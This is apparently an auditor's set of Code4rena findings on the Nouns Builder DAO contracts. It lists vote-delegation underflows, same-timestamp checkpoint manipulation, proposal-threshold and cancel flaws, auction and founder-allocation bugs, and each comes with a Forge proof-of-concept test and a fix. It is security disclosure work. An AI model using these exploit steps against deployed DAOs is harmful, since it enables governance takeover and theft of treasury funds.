Nouns Builder contest - davidbrai's results

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L179-L190 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L179-L190

Vulnerability details

Impact

By taking advantage of 2 bugs a user can get themselves 2^192-1 votes. This amount of voting gives the user ability to pass or defeat any proposal. In the best case scenario, it bricks the DAO and makes it ineffective, locking in funds. In the worst case scenario it allows the user to pass a proposal to drain all the funds.

Proof of Concept

The 2 bugs are:

1. in delegate function the user's voting power is not decreased
2. in _afterTokenTransfer the votes are moved from the NFT owners instead of from their delegates

The steps needed to take advantage of this:

1. User (U) gets transferred one token (e.g winning auction)
   1. balanceOf(U) = votes(U) = 1
2. U delegates to D
   1. balanceOf(U) = 1, votes(U) = 1, votes(D) = 1 // due to bug #1
3. U gets transferred another token
   1. balanceOf(U) = 2, votes(U) = 2, votes(D) = 1 // due to bug #2 the votes go to U instead of D
4. U delegates to D2
   1. balanceOf(U) = 2, votes(U) = 2, votes(D2) = 2, votes(D) = 2^192 - 1 // D reduces delegates by 2, because the block is unchecked, the underflow is allowed

Forge test showing the issue:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol";

contract TokenTest is NounsBuilderTest, TokenTypesV1 {
    address user1 = address(0x1001);
    address delegate1 = address(0x2001);
    address delegate2 = address(0x2002);

    function setUp() public virtual override {
        super.setUp();

        vm.label(user1, "user1");
        vm.label(delegate1, "delegate1");
        deployMock();
    }

    function setMockFounderParams() internal virtual override {
        address[] memory wallets = new address[](1);
        uint256[] memory percents = new uint256[](1);
        uint256[] memory vestingEnds = new uint256[](1);

        wallets[0] = founder;
        percents[0] = 0;
        vestingEnds[0] = 4 weeks;

        setFounderParams(wallets, percents, vestingEnds);
    }

    function test_pown() public {
        // user1 gets one token
        vm.startPrank(address(auction));
        token.mint();
        token.transferFrom(address(auction), user1, 0);
        vm.stopPrank();

        // user1 has 1 token & 1 vote
        assertEq(token.balanceOf(user1), 1);
        assertEq(token.getVotes(user1), 1);

        vm.prank(user1);
        token.delegate(delegate1);
        assertEq(token.getVotes(user1), 1);
        assertEq(token.getVotes(delegate1), 1);

        // user1 gets another token
        vm.startPrank(address(auction));
        token.mint();
        token.transferFrom(address(auction), user1, 1);
        vm.stopPrank();

        assertEq(token.balanceOf(user1), 2);
        assertEq(token.getVotes(user1), 2);
        assertEq(token.getVotes(delegate1), 1);

        // user1 delegates to delegate2
        vm.prank(user1);
        token.delegate(delegate2);

        // delegate1 has a gazilion votes
        assertEq(token.getVotes(user1), 2);
        assertEq(token.getVotes(delegate2), 2);
        assertEq(token.getVotes(delegate1), type(uint192).max);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Fix bug 1 by changing: address prevDelegate = delegation[_from]; to: address prevDelegate = delegates(_from);

Fix bug 2 by changing: _moveDelegateVotes(_from, _to, 1); to: _moveDelegateVotes(delegates(_from), delegates(_to), 1);

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L242-L256 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L93-L117

Vulnerability details

Impact

An attacker can increase their voting power by carefully manipulating the checkpoints and inserting multiple checkpoints with the same timestamp. It requires creating checkpoints with the same timestamp as the proposal creation timestamp, this is possible by monitoring the mempool.

Because of bugs in the delegate function, this attack relies just on transfering tokens. With delegation this attack can be easily amplified.

The POC below will show how to increase the number of votes from 3 to 4, but can be chained in order to increase by more votes.

Proof of Concept

Below is a forge test showing the issue:

Only 3 tokens are minted, but there are a total of 4 votes available to vote with

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import "forge-std/Test.sol";
import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol";
import { GovernorTypesV1 } from "../../src/governance/governor/types/GovernorTypesV1.sol";

contract TokenTest is NounsBuilderTest, GovernorTypesV1 {
    address user1 = address(0x1001);
    address user2 = address(0x1002);
    address user3 = address(0x1003);
    address user4 = address(0x1004);

    function setUp() public virtual override {
        super.setUp();

        vm.label(user1, "user1");
        vm.label(user2, "user2");
        deployMock();
    }

    function test_sameTimestampAttack() public {
        vm.startPrank(address(auction));
        token.mint();
        token.transferFrom(address(auction), user1, 0);
        token.mint();
        token.transferFrom(address(auction), user2, 1);
        token.mint();
        token.transferFrom(address(auction), user3, 2);
        vm.stopPrank();

        vm.warp(block.timestamp + 1 hours);

        (address[] memory targets, uint256[] memory values, bytes[] memory calldatas) = mockProposal();
        vm.prank(user3);
        bytes32 proposalId = governor.propose(targets, values, calldatas, "test");

        Proposal memory proposal = governor.getProposal(proposalId);

        vm.prank(user1);
        token.transferFrom(user1, user2, 0);

        vm.prank(user3);
        token.transferFrom(user3, user2, 2);

        vm.prank(user2);
        token.transferFrom(user2, user3, 2);

        vm.warp(block.timestamp + 1 hours);
        vm.prank(user2);
        token.transferFrom(user2, user4, 1);

        assertEq(governor.getVotes(user2, proposal.timeCreated), 3);
        assertEq(governor.getVotes(user3, proposal.timeCreated), 1);
    }

    function mockProposal()
        internal
        view
        returns (
            address[] memory targets,
            uint256[] memory values,
            bytes[] memory calldatas
        )
    {
        targets = new address[](1);
        values = new uint256[](1);
        calldatas = new bytes[](1);

        targets[0] = address(auction);
        calldatas[0] = abi.encodeWithSignature("pause()");
    }

    function setMockFounderParams() internal virtual override {
        address[] memory wallets = new address[](1);
        uint256[] memory percents = new uint256[](1);
        uint256[] memory vestingEnds = new uint256[](1);

        wallets[0] = founder;
        percents[0] = 0;
        vestingEnds[0] = 4 weeks;

        setFounderParams(wallets, percents, vestingEnds);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

_writeCheckpoint should update an existing checkpoint if it has the same timestamp instead of creating a new entry

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L179-L190

Vulnerability details

Impact

After a token holder delegates to another address, the token holder still has the same number of votes, while the delegate also has this number votes. This means any token holder can double their effective voting power. This makes it much easier to pass the quorum requirement, and makes passing any proposal much "cheaper". This can be very dangerous if a malicious token gets enough tokens and would risk take over of the DAO. It also allows a token holder to easily defeat proposals by having double the votes.

Proof of Concept

The following forge test demonstrates the issue:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol";

contract TokenTest is NounsBuilderTest, TokenTypesV1 {
    address user1 = address(0x1001);
    address delegate1 = address(0x2001);
    address delegate2 = address(0x2002);

    function setUp() public virtual override {
        super.setUp();

        vm.label(user1, "user1");
        vm.label(delegate1, "delegate1");
        deployMock();
    }

    function setMockFounderParams() internal virtual override {
        address[] memory wallets = new address[](1);
        uint256[] memory percents = new uint256[](1);
        uint256[] memory vestingEnds = new uint256[](1);

        wallets[0] = founder;
        percents[0] = 0;
        vestingEnds[0] = 4 weeks;

        setFounderParams(wallets, percents, vestingEnds);
    }

    function test_doubleVotes() public {
        // user1 gets one token
        vm.startPrank(address(auction));
        for (uint256 i; i < 5; i++) {
            token.mint();
            token.transferFrom(address(auction), user1, i);
        }
        vm.stopPrank();

        // user1 has 5 tokens & votes
        assertEq(token.balanceOf(user1), 5);
        assertEq(token.getVotes(user1), 5);

        // delegate to delegate1
        vm.prank(user1);
        token.delegate(delegate1);

        // both user and delegate have 5 votes each
        assertEq(token.getVotes(delegate1), 5);
        assertEq(token.getVotes(user1), 5);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Change line 181 in ERC721Votes.sol to: address prevDelegate = delegates(_from);

and change the function delegates(address) from external to public

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/auction/Auction.sol#L248-L254

Vulnerability details

Impact

If founders have no founder rewards, then token id 0 will be the first in auction. If the Auction contract is paused and unpaused while token id 0 is being auctioned, then a new auction will start for the next minted token. This is due to the check if (auction.tokenId == 0) { not checking that the auction is not live.

The current highest bid for token id 0 won't receive their ETH back, nor will they get the NFT, because the auction is never settled.

Proof of Concept

The following forge test provides a POC:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import "forge-std/Test.sol";

contract AuctionToken0NotSettledTest is NounsBuilderTest {
    address internal bidder1;

    function setUp() public virtual override {
        super.setUp();

        bidder1 = vm.addr(0xB1);

        vm.deal(bidder1, 100 ether);

        deployMock();
    }

    function setMockFounderParams() internal virtual override {
        address[] memory wallets = new address[](1);
        uint256[] memory percents = new uint256[](1);
        uint256[] memory vestingEnds = new uint256[](1);

        wallets[0] = founder;
        percents[0] = 0;
        vestingEnds[0] = 4 weeks;

        setFounderParams(wallets, percents, vestingEnds);
    }

    function testMe() public {
        vm.prank(founder);
        auction.unpause();

        (uint256 tokenId, , , , , ) = auction.auction();
        console.log("tokenId", tokenId);

        vm.prank(bidder1);
        auction.createBid{ value: 0.420 ether }(0);
        console.log("bid 0.42 eth");

        vm.prank(address(treasury));
        auction.pause();
        console.log("auction paused");

        vm.prank(address(treasury));
        auction.unpause();
        console.log("auction unpaused");

        (tokenId, , , , , ) = auction.auction();
        console.log("tokenId", tokenId);

        console.log("auction contract balance:", address(auction).balance);
        assertEq(token.ownerOf(0), address(auction));
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Change line 248 to: if (auction.tokenId == 0) && auction.startTime == 0) {

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L88 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L152-L157

Vulnerability details

Impact

A DAO can be deployed where the sum of founder rewards is 100% This causes the minting function in the Token to have an infinite loop and eventually revert.

Proof of Concept

Below is a forge test showing the issue:

The test fails after a while because it for being out of gas.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import "forge-std/Test.sol";
import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol";

contract TokenFounderTest is NounsBuilderTest, TokenTypesV1 {
    address f1 = address(0x1111);
    address f2 = address(0x2222);

    function setUp() public virtual override {
        super.setUp();

        deployMock();
    }

    function setMockFounderParams() internal virtual override {
        address[] memory wallets = new address[](2);
        uint256[] memory percents = new uint256[](2);
        uint256[] memory vestingEnds = new uint256[](2);

        wallets[0] = f1;
        percents[0] = 30;
        vestingEnds[0] = 52 weeks;
        wallets[1] = f2;
        percents[1] = 70;
        vestingEnds[1] = 52 weeks;

        setFounderParams(wallets, percents, vestingEnds);
    }

    function test_founderPct() public {
        vm.prank(address(auction));
        token.mint();
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Change line 88 in Token.sol from: if ((totalOwnership += uint8(founderPct)) > 100) revert INVALID_FOUNDER_OWNERSHIP(); to: if ((totalOwnership += uint8(founderPct)) >= 100) revert INVALID_FOUNDER_OWNERSHIP();

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L110 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L118 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L130-L136

Vulnerability details

Impact

Under certain conditions, founders may be minted less than the percent of tokens they are supposed to. This is due to a couple of bugs which results in their allocation being written into an index > 99 of tokenRecipient.

The first bug, on line 118 of Token.sol: (baseTokenId += schedule) % 100; The modulo operation is not applied to baseTokenId.

The second bug, in the _getNextTokenId function, allows returning indices above 99.

Proof of Concept

In the test below, the following steps are taken:

1. There are a total of 56 founders
2. The first 55 founders have 1% reward
3. The last founder has 2% reward
4. The first 55 slots, indexes 0-54, of tokenRecipient are allocated to the first 55 founders. Index 55 is allocated to the last founder, and then index 105 is allocated, which is outside the array.

This results in the last founder having effectively 1% instead of 2% reward.

See the test below:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import "forge-std/Test.sol";
import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol";

contract TokenFounderOutOfArrayTest is NounsBuilderTest, TokenTypesV1 {
    function setUp() public virtual override {
        super.setUp();

        deployMock();
    }

    function setMockFounderParams() internal virtual override {
        address[] memory wallets = new address[](56);
        uint256[] memory percents = new uint256[](56);
        uint256[] memory vestingEnds = new uint256[](56);

        for (uint256 i; i < 55; i++) {
            wallets[i] = address(uint160(0x1000 + i));
            percents[i] = 1;
            vestingEnds[i] = 52 weeks;
        }

        wallets[55] = address(0x9999);
        percents[55] = 2;
        vestingEnds[55] = 52 weeks;

        setFounderParams(wallets, percents, vestingEnds);
    }

    function test_founderPct() public {
        while (token.totalSupply() < 100) {
            vm.prank(address(auction));
            token.mint();
        }

        assertEq(token.totalSupply(), 100);
        assertEq(token.balanceOf(address(0x9999)), 1); // This founder should have 2 tokens after 100 mints
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Fix the 2 bugs:

1. Line 118 from: (baseTokenId += schedule) % 100; to: baseTokenId = (baseTokenId + schedule) % 100;

2. Line 132 from: while (tokenRecipient[_tokenId].wallet != address(0)) ++_tokenId; to: while (tokenRecipient[_tokenId].wallet != address(0)) _tokenId = (_tokenId + 1) % 100;

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L128 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L363

Vulnerability details

Impact

If the proposer of a proposal has votes in the same amount as the proposalThreshold, they can create a proposal. But in this case, anyone can also cancel this proposal.

When creating a proposal the requirement is "Ensure the caller's voting weight is greater than or equal to the threshold". When cancelling a proposal the check is: if getVotes(proposal.proposer, block.timestamp - 1) > proposal.proposalThreshold then it the cancelling is not allowed. In effect, if the number of votes is lower than or equal to the proposalThreshold it can be cancelled.

In the extreme case where all the DAO members have no more than the proposalThreshold amount of votes, every proposal can be cancelled.

Proof of Concept

The forge test below demonstrates the issue:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import "forge-std/console.sol";
import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";

import { IManager } from "../../src/manager/IManager.sol";
import { IGovernor } from "../../src/governance/governor/IGovernor.sol";
import { GovernorTypesV1 } from "../../src/governance/governor/types/GovernorTypesV1.sol";

contract GovCancelWrongCheckTest is NounsBuilderTest, GovernorTypesV1 {
    uint256 internal constant AGAINST = 0;
    uint256 internal constant FOR = 1;
    uint256 internal constant ABSTAIN = 2;
    uint256 proposalThresholdBps = 100;

    address internal voter1 = address(0x1234);
    address internal randomUser = address(0x8888);

    function setUp() public virtual override {
        super.setUp();

        deployMock();
    }

    function testCanCancelProposalIfExactThreshold() public {
        // mint a few tokens
        for (uint256 i; i < 85; i++) {
            vm.prank(address(auction));
            token.mint();
        }
        assertEq(token.totalSupply(), 100);

        // transfer one token to voter1
        vm.prank(address(auction));
        token.transferFrom(address(auction), voter1, 5);
        assertEq(token.balanceOf(voter1), 1);

        // make sure voter has enough votes
        assertEq(governor.proposalThreshold(), 1);
        assertEq(token.getVotes(voter1), 1);

        vm.warp(block.timestamp + 1);

        // propose
        (address[] memory targets, uint256[] memory values, bytes[] memory calldatas) = mockProposal();
        vm.prank(voter1);
        bytes32 proposalId = governor.propose(targets, values, calldatas, "test");

        // Proposal created successfully
        assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Pending));

        // Cancel proposal
        vm.prank(randomUser);
        governor.cancel(proposalId);
        assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Canceled));
    }

    function setMockGovParams() internal virtual override {
        setGovParams(2 days, 1 seconds, 1 weeks, proposalThresholdBps, 1000);
    }

    function mockProposal()
        internal
        view
        returns (
            address[] memory targets,
            uint256[] memory values,
            bytes[] memory calldatas
        )
    {
        targets = new address[](1);
        values = new uint256[](1);
        calldatas = new bytes[](1);

        targets[0] = address(auction);
        calldatas[0] = abi.encodeWithSignature("pause()");
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Change the check in cancel to match the requirement in propose; change line 363 in Governor.sol to: if (msg.sender != proposal.proposer && getVotes(proposal.proposer, block.timestamp - 1) >= proposal.proposalThreshold)

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L179-L190

Vulnerability details

Impact

Assuming an existing bug in the _delegate function is fixed (see my previous issue submission titled "Delegating votes leaves the token owner with votes while giving the delegate additional votes"): if a user delegates to address(0) that vote gets lost.

Proof of Concept

Assuming the _delegate function gets patched by changing: address prevDelegate = delegation[_from]; to address prevDelegate = delegates(_from);

The steps to be taken:

1. User (U) gets one NFT (e.g by winning the auction) a. votes(U) = 1
2. U delegates to address(0) // prevDelegate is U, so votes(U)-- a. votes(U) = 0, votes(address(0)) = 0
3. U delegates to address(0) // prevDelegate is U, so votes(U)-- a. votes(U) = 2^192 - 1

Below is a forge test showing the issue:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol";

contract TokenTest is NounsBuilderTest, TokenTypesV1 {
    address user1 = address(0x1001);
    address delegate1 = address(0x2001);
    address delegate2 = address(0x2002);

    function setUp() public virtual override {
        super.setUp();

        vm.label(user1, "user1");
        vm.label(delegate1, "delegate1");
        deployMock();
    }

    function setMockFounderParams() internal virtual override {
        address[] memory wallets = new address[](1);
        uint256[] memory percents = new uint256[](1);
        uint256[] memory vestingEnds = new uint256[](1);

        wallets[0] = founder;
        percents[0] = 0;
        vestingEnds[0] = 4 weeks;

        setFounderParams(wallets, percents, vestingEnds);
    }

    function test_pown2() public {
        // user1 gets one token
        vm.startPrank(address(auction));
        token.mint();
        token.transferFrom(address(auction), user1, 0);
        vm.stopPrank();

        // user1 has 1 token & 1 vote
        assertEq(token.balanceOf(user1), 1);
        assertEq(token.getVotes(user1), 1);

        vm.prank(user1);
        token.delegate(address(0));
        assertEq(token.getVotes(user1), 0);

        vm.prank(user1);
        token.delegate(address(0));
        assertEq(token.getVotes(user1), type(uint192).max);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Either:

1. Don't allow delegation to address(0) by adding a check or
2. If someone tries to delegate to address(0), delegate to the NFT owner instead

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L128 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L468

Vulnerability details

Impact

If proposal threshold is set to be reasonably low, e.g 1%, then until there are >= 100 tokens, the effective proposal threshold is zero. This allows any address, even without tokens, to create proposals. This allows for create a huge amount of proposal spam.

An attacker can use this to pass a malicious proposal assuming it would be too much effort for voters or the vetoers to cancel all the proposals.

Proof of Concept

Below is a forge test demonstrating the issue (testCanProposeWithoutTokens):

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import "forge-std/console.sol";
import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";

import { IManager } from "../../src/manager/IManager.sol";
import { IGovernor } from "../../src/governance/governor/IGovernor.sol";
import { GovernorTypesV1 } from "../../src/governance/governor/types/GovernorTypesV1.sol";

contract TreasuryNoGracePeriodTest is NounsBuilderTest, GovernorTypesV1 {
    uint256 internal constant AGAINST = 0;
    uint256 internal constant FOR = 1;
    uint256 internal constant ABSTAIN = 2;
    uint256 proposalThresholdBps = 100;

    address internal voter1 = address(0x1234);
    uint256 internal voter1PK;

    function setUp() public virtual override {
        super.setUp();

        deployMock();
    }

    function testCanProposeWithoutTokens() public {
        // mint a few tokens
        for (uint256 i; i < 50; i++) {
            vm.prank(address(auction));
            token.mint();
        }

        assertEq(token.totalSupply(), 59);

        (address[] memory targets, uint256[] memory values, bytes[] memory calldatas) = mockProposal();

        vm.prank(voter1);
        bytes32 proposalId = governor.propose(targets, values, calldatas, "test");

        assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Pending));
    }

    function setMockGovParams() internal virtual override {
        setGovParams(2 days, 1 seconds, 1 weeks, proposalThresholdBps, 1000);
    }

    function mockProposal()
        internal
        view
        returns (
            address[] memory targets,
            uint256[] memory values,
            bytes[] memory calldatas
        )
    {
        targets = new address[](1);
        values = new uint256[](1);
        calldatas = new bytes[](1);

        targets[0] = address(auction);
        calldatas[0] = abi.encodeWithSignature("pause()");
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Change the proposal threshold check in line 128 to only allow proposers with votes above the threshold:

if (getVotes(msg.sender, block.timestamp - 1) <= proposalThreshold()) revert BELOW_PROPOSAL_THRESHOLD();

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/treasury/Treasury.sol#L57 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/treasury/Treasury.sol#L151

Vulnerability details

Impact

The Treasury contract allows executing proposals past the grace period. If the governor contract is changed in a way that it doesn't check it in its own contract, that could result in proposals being executed at an arbitrary time in the future.

Proof of Concept

The function execute in Treasury only checks isReady, which makes sure the current time is past the timelock delay. It does not validate that the grace period has not passed. Current the Governor contract checks it in the execute function, but it would be safer if the Treasury contract had that check internally, in case a different governor contract is used as the owner.

Tools Used

Manual review

Recommended Mitigation Steps

Add a this line in Treasury.sol line 152: if (block.timestamp > timestamps[proposalId] + settings.gracePeriod) revert("Expired");